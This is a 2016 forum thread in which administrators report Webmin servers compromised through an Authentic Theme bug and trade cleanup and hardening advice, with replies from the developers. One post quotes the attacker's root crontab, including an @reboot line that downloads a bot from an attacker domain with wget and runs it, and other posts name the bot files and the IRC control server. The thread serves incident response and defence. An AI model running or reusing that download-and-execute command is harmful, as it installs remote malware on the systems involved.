Webmin hacked

29 posts / 0 new
Last post
#1 Wed, 05/25/2016 - 17:17
cursor

Webmin hacked

Today I found a process called .X0-unix running in my server (CentOS 6 running Webmin/Virtualmin). This process was running from:

[root@server ~]# find / -name .X0-unix

/usr/libexec/webmin/.X0-unix

I cannot find anything in the webmin logs to explain how that file got there and there have not been any ssh/ftp transfers into my server. How the hell did they get that file into the Webmin service? As far as I can tell it is an irc bot called tsunami so no major damage done at the moment but I am very worried that webmin is compromised. The logs do not show any logins for any users (except when I logged in to check of course). A new flaw/backdoor into webmin?

How can I try to find out where the exploit is? I cannot shut down virtualmin completely as my users depend on it to administer their domains.

Wed, 05/25/2016 - 17:43
cursor

After some more digging I have also found more files that do not belong to webmin in /usr/libexec/webmin:

40 -rw-r--r-- 1 root root 38243 May 23 00:38 PK.ico

40 -rw-r--r-- 1 root root 38243 May 23 00:40 PK.ico.2

40 -rw-r--r-- 1 root root 38243 May 23 00:40 PK.ico.3

They are all irc scripts. Still have no idea how they got there. Still looking at all possibilities but I find it very suspicious that they are all in the webmin directory.

Wed, 05/25/2016 - 19:48
Joe
Joe's picture

Update to Webmin 1.800. There's a security bug in Authentic Theme as shipped with Webmin devel versions 1.794 and 1.794 (which we rolled out to Virtualmin users to address Ubuntu fixes and Let's Encrypt enhancements).

It's been fixed in 1.800. We learned of the bug about two hours ago. We'll talk about specifics of the problem in a few days after folks have had a chance to update. You can open a private ticket in the issue tracker to discuss it in more detail, if you'd like us to assist with assessing the scope of the problem on your system.

--

Check out the forum guidelines!

Wed, 05/25/2016 - 23:52 (Reply to #3)
coderinthebox

are there any reasons why one of my centos server got updated to 1.795 a few months ago and now can't see the 1.800 update. the other servers can see the update 1.800

all servers uses epel and official repo.. just wondering.

Visit me at coderinthebox.com

Thu, 05/26/2016 - 00:18 (Reply to #4)
coderinthebox

Never mind, just a few seconds ago, version 1.800-1 got pushed and I can see it as an update

Visit me at coderinthebox.com

Thu, 05/26/2016 - 08:51
bjb

I have seen the same thing on a few servers 3 days ago.

They seem to be using a shell exploit in the [edit: we'll discuss the exact security issue later :-)], at first I though it was a shellshock hack (but of course those have been patched for years). It looked like it was escaping out some sort of login alert mail out routine.

If you reboot the server the bad processes will go away, and you can delete the junk files left behind in the webmin directory.

I have not found any permanent changes to the system files, so once the theme is updated the issue should be gone for good, however this exploit could have been very destructive since it runs as root.

Sat, 05/28/2016 - 16:28
nminkov2

Got the malware in one of our servers. It runs after reboot and takes all server CPU. Thats how we spotted it.

Sat, 05/28/2016 - 16:37
nminkov2

I am very disappointed of Webmin team. Not because of getting our server hacked, but because it could be avoided easily. We got hacked almost 48h after the 1.800 patch went public, however the release did not get to the official Webmin mailing list, so I was unaware of the patch.

Another bad luck is that Centos 6.8 upgrade come in the same time, so spotting webmin between 135 other packages manually is not simple task.

On webmin website, all the forums and mailing list go through source forge. Are they update? Why are there forums there and here.... Please centralize the information.

Please advise me how can I immediately know that there is a webmin/virtualmin update have their changelog.

Sat, 05/28/2016 - 16:44
nminkov2

Cursor, can you please share your experience with the hack. What was the exact impact?

I have managed to save lots of its code. Its combination of PHP/Pbot.D troyan, Linux/Tsunami IRC bot and Kaitan IRC DDOS client.

It seems it tried to brute force the root password even when the .X0-unix process was running root

Sat, 05/28/2016 - 17:34
pichaga

my webmin too was hacked. so i will not buy virtualmin i just only has one server.

Sat, 05/28/2016 - 18:20
andreychek

Hey guys,

Sorry for all the trouble, I assure you all of this is the last thing any of us want.

For those of you asking how you might learn about things like this quicker --

We do post about things like this on Twitter, that might be a good way to monitor for updates:

https://twitter.com/virtualmin

Also, you could configure Virtualmin to send notifications about available updates. Now, it can be difficult to understand the severity of an issue from that, but it would be an opportunity to know that updates are waiting and available.

Another thing you could do is subscribe to the News Forum here, which would provide you with email updates for Webmin and Virtualmin related news:

https://www.virtualmin.com/forum/274

Tue, 05/31/2016 - 11:02
nminkov2

These are the files that have been uploaded/compiled to webmin directory

.X0-unix
pass.h
pass.h.1
pass.h.2
pass.h.3
pass.h.4
pass.h.5
pass.h.6
PK.ico
PK.ico.1
PK.ico.10
PK.ico.11
PK.ico.12
PK.ico.13
PK.ico.14
PK.ico.15
PK.ico.16
PK.ico.17
PK.ico.2
PK.ico.3
PK.ico.4
PK.ico.5
PK.ico.6
PK.ico.7
PK.ico.8
PK.ico.9

These are the one in /tmp

kait.c
mg
pmabot.c
PwNzbot.c

mg seems to be the first file of the hack that downloads, compiles and runs the rest of the code.

The hack seems to be at least 3 different IRC controlled DDOS bots: Linux/Tsunami, Kaitan and PHP/PBot. The control server is irc.ugotownedz.org and he files were downloaded from ugotownedz.org.

It seems have attempted to do local password brute force.

Read here how to check your system: https://github.com/qooob/authentic-theme/issues/471

I have the sources of all of them if you need them.

Sat, 06/04/2016 - 14:50
ladylinux

Hiya,

Got hit also and this is bad and unacceptable.

Look in /etc/rc.local also because a ssh scanner was installed on my machine "/usr/share/webmin/.lssh"

Francesca

Sat, 06/04/2016 - 21:57
scotwnw

Some tips for others since none of my machines where affected.
1. I was not using Authentic theme. (never liked the slowness, virtmin mobile is way better on mobile) 2, Changed port to something other than 10000. (any internet facing service should never be on the default port) 3, Only accept ssh from VPN ip or a specific IP, or at least don't leave ssh on port 22. 4. Ossec bans for failed password attempts, for ssh, mail, http, etc. (install some type of active response monitor) 5 Ossec monitors /etc and other folders for changes.

2 and 3 will prevent most attacks. 4 and 5 will prevent the others if they get that far, or at least notify you so you can act. This goes for any web hosting platform, not just webmin.

Thu, 07/07/2016 - 21:46
harty83

In addition to https://www.virtualmin.com/comment/757529#comment-757529, I also had these files

apache.png
apache32.ico.1

I also had this in root crontab

* * * * * /usr/share/webmin/.aaaa >/dev/null 2>&1
@reboot wget -q http://ugotownedz.org/update.bot -O /tmp/update;chmod +x /tmp/update;sh /tmp/update >/dev/null 2>&1
Fri, 07/15/2016 - 06:22
unborn
unborn's picture

Hi, here is what I would suggest..

  1. deploy fail2ban at least for ssh and setup ban for day or month as a minimum.. or close port 22 to outside world
  2. disable ssh logon with passwords and usernames globally and enable ssh keys logon only
  3. close port 10000 to accessible from outside - connect to it via vpn or within your network - if that is not possible, you can setup ip access for webmin login page and change default port for webmin (that is not that helpful but it does slow attacks down)
  4. limit how many times user can fail to logon to webmin and then ban it for day or so (the ip address or user or both)
  5. check for any unknown user accounts on your system
  6. change passwords for everyone - as well for root account too
  7. check access logs - how they did came in
  8. check ssh config (if any) for any amomalies
  9. check start up scripts and remove anything suspicious
  10. check cron jobs for any user - including for root and remove anything suspicious
  11. check any unknown ssh keys in your authorized_keys file(s) - remove anything that its not yours perhaps best options would be to generate new file with just your keys..
  12. disable ftp - if you run any, just use sftp which is ssh - if you must run it make sure you do deploy fail2ban (at least or something similar), fail 3 times logon = ban for day, month or year..
  13. deploy notification script for ssh logins !! - on all srvs I've ever touched, I've deployed my own script which will send me google hangout message (aim - anything like icq, google hangouts, irc or xmpp) with ip address, username with time of logon at the very moment that user (any user using ssh) is logged in. It also sends those details to my client (owner of the srv) to email as well so we both are informed asap. This will allow you to see things in real time like who just connected from where..really great idea is this and I would greatly suggest to you to use this as well. Writing script like it is very easy! So if anything is happening on srv, be it attack or regular usage - you will know in advance as by this way ssh will not connect anyone before the quiet (discreet) notification is not send out to you (be it aim or email msg or both)..

....that should be enough to stop new hacks and you can continue to investigate from there.. I strongly believe that you will be just fine with those points mentioned above perhaps its overkill, but from personal experience - this is what always worked at lest for me past 7 years..

This apply to virtualmin too, however if you will detect new hack it would be the time to revise your website scripts in a bit different manner.. nothing hard to accomplish..

Have good day all.

Configuring/troubleshooting Debian servers is always great fun

Sun, 07/17/2016 - 23:20 (Reply to #16)
coderinthebox

Move your SSH port to a new port location. Port scanners usually scans for port numbers below 1000, setting it up a little high will do but make sure you that port was unblocked on your firewall. Make sure that you can login on SSH on that port.

This may help https://coderinthebox.com/howto/basic-initial-steps-on-building-a-server/

Visit me at coderinthebox.com

Mon, 07/18/2016 - 02:44 (Reply to #17)
unborn
unborn's picture

hi, i think if ssh keys are deployed and ssh logon via password and username is disabled, there is no point to move ssh port.. or is it?

Configuring/troubleshooting Debian servers is always great fun

Mon, 07/18/2016 - 03:40 (Reply to #18)
coderinthebox

Yes you are correct, if logon by SSH keys are enabled and login by account is disabled, moving the port is pointless since all connections will be dropped.

Visit me at coderinthebox.com

Mon, 07/18/2016 - 06:22
Diabolico
Diabolico's picture

But just moving from default port will cut down more than 90% of all bruteforce bots so i think is worth to change default port to something else (1024 < X).

- I often come to the conclusion that my brain has too many tabs open. -
Failing at desktop publishing & graphic design since 1994.

Mon, 07/18/2016 - 21:44 (Reply to #20)
coderinthebox

It does not matter though if login via account is disabled and loggin via SSH Key is in place

Visit me at coderinthebox.com

Thu, 07/21/2016 - 05:50
unborn
unborn's picture

@coderinthebox exactly..you are very right there - as I mentioned earlier, ssh keys will reduce this to 100% within fail2ban properly deployed even more (it will save some bandwidth you know).. changing ports is just not enough perhaps (speaking for me only personally) waste of time.

Configuring/troubleshooting Debian servers is always great fun

Thu, 07/21/2016 - 09:16
ashleydrees

Thanks - all very good - i like the script/hangouts/login idea... disabling the root login is another thing i use, then if anyone tries a root login - they are banned instantly.

I used to use fail2ban - and still have it set up as a fall-back - but now i use OSSEC which does more of the same thing, but as a network tool - including a tripwire type scan - login notifications etc- means if someone does something annoying on one machine - i can block that ip/user on all machines i have responsibility for.

Thu, 07/21/2016 - 12:39
Diabolico
Diabolico's picture

Changing port is not waste of time but should never be used as only prevention to hacking attempts. Its a fact that majority of hacking/scanning bots are hitting default ports and to use non-standard ports will eliminate most of them. Using keys instead of passwords, closing unused ports, fail2ban or other security software, all this will help to increase your overall security so moving to non-default ports is just one small piece of the bigger picture.

Only reason to leave default ports is in cases like shared hosting, some technical requirement or client for whatever reason want to use them.

- I often come to the conclusion that my brain has too many tabs open. -
Failing at desktop publishing & graphic design since 1994.

Thu, 07/21/2016 - 18:28 (Reply to #24)
unborn
unborn's picture

of course its not waste of time and can be useful and its good advice as well - i was saying that as my personal opinion.

Configuring/troubleshooting Debian servers is always great fun

Mon, 08/08/2016 - 18:34
briand

both my servers have been hit too my real server and my home/backup server. not sure if it is the same issue or not,

Webmin version 1.801 Virtualmin version 5.04 Operating system CentOS Linux 6.8

I run chkrootkit and see 'suckit' infected.: Searching for Suckit rootkit... Warning: /sbin/init INFECTED

I see that I had a (hacked) script running on server /etc/webmin/status/monitor.pl and it produces files in /tmp/.webmin

d---------     2 root root  4096 Aug  7 11:25 204159_2211_2_status.pl
d---------     2 root root  4096 Aug  7 11:25 24501_2089_2_monitor.pl
d---------     2 root root  4096 Aug  7 11:10 248937_25009_2_status.pl
d---------     2 root root  4096 Aug  7 11:45 289317_6865_2_status.pl
d---------     2 root root  4096 Aug  7 11:15 333563_32736_2_status.pl
d---------     2 root root  4096 Aug  7 11:15 371546_32619_2_monitor.pl
d---------     2 root root  4096 Aug  7 11:30 469862_3129_2_monitor.pl
d---------     2 root root  4096 Aug  7 11:20 474562_1179_2_monitor.pl 

Selinux has caused major problems too, still trying to sort that out

I rebooted my home server and now unable to boot up it due to kernel panic. I can cet access through terminal but only in limited shell mode. tried USB live distro but still cannot get in.

I also get rm command not found. means I can't delete any of the hackers files. so now I have a script changing permissions to 000 that stops the files getting accessed.

Mon, 08/08/2016 - 18:37
briand

how were they able to hack into the /sbin/init file ? seems they used Selinux security which caused home server to boot up with a kernel panic - not syncing : Attempted to kill init!

I also found a .scan folder and a 'scan' user

does look like I'll have to setup both servers from scratch now.

Tue, 08/09/2016 - 01:55 (Reply to #27)
Joe
Joe's picture

The root user can do anything, including replace system files, like init. SELinux can prevent some kinds of exploit, but it is currently disabled by default on Virtualmin systems due to the user unfriendliness of it; it causes a ton of confusing errors for many folks, and can be tricky to diagnose if you don't know how SELinux works. It's probably time to stop disabling it, by default, even though the problems with usability still exist. The tools for overcoming those usability failings are somewhat better now. Anyway, one can run Virtualmin with SElinux enabled, if you set the right booleans (mostly the ones related to httpd and user home directories).

So, what the attacker modifies is up to the attacker, if they obtain root privileges (so, the fact that they changed init only tells you with certainty that they obtained root, and nothing about how they got in). Your version of Webmin is not subject to the exploit being discussed in this thread, so unless it happened weeks ago it would be unrelated to this bug. But, they obviously got in somehow, and figuring out how would be useful, so you know what to fix on the new system.

And, you're right that reinstalling the OS is the only certain way to know the system is clean; even if you could delete everything you found, with a system that has been rooted, it is very difficult to know for sure you got everything. Your attacker looks clumsy, and like they're using off-the-shelf rootkit stuff, but it's difficult to be certain.

--

Check out the forum guidelines!

Tue, 08/09/2016 - 02:10
briand

joe thanks for feedback.

it happened at least 7-10 days or more ago. I probably didn't notice due to working heavily on a project for the last month

Topic locked